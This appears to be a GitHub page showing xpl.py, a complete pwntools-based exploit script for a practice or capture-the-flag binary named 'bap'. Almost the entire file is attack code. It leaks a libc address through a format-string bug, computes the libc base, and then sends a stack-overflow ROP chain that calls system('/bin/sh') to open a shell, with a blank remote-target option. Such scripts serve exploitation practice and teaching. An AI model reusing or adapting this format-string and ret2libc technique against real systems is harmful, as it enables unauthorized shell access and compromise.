-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxpl.py
53 lines (43 loc) · 1.25 KB
/
xpl.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
from pwncus import *
from time import sleep
# context.log_level = 'debug'
exe = context.binary = ELF('./bap_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
def GDB(): gdb.attach(p, gdbscript='''
b*main+69
b*main+81
c
''') if not args.REMOTE else None
p = remote('', ) if args.REMOTE else process(argv=[exe.path], aslr=False)
set_p(p)
if args.GDB: GDB(); input()
# ===========================================================
# EXPLOIT
# ===========================================================
'''
[*] '/home/alter/pwn/Practice/bap/bap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
'''
ret = 0x000000000040101a
pop_rdi = 0x000000000002a3e5
pl = b'%11$s' + b'A' * 19
pl += p64(ret) + p64(exe.sym.main) + p64(exe.got.gets)
sla(b': ',pl)
leak = u64(ru(b'A')[:-1] + b'\0\0')
libc.address = leak - libc.sym.gets
info('Leak: ' + hex(leak))
info('Libc base: ' + hex(libc.address))
pl = b'B'*24
pl += p64(ret)
pl += p64(libc.address + pop_rdi) + p64(next(libc.search(b'/bin/sh')))
pl += p64(libc.sym.system)
sla(b': ',pl)
interactive()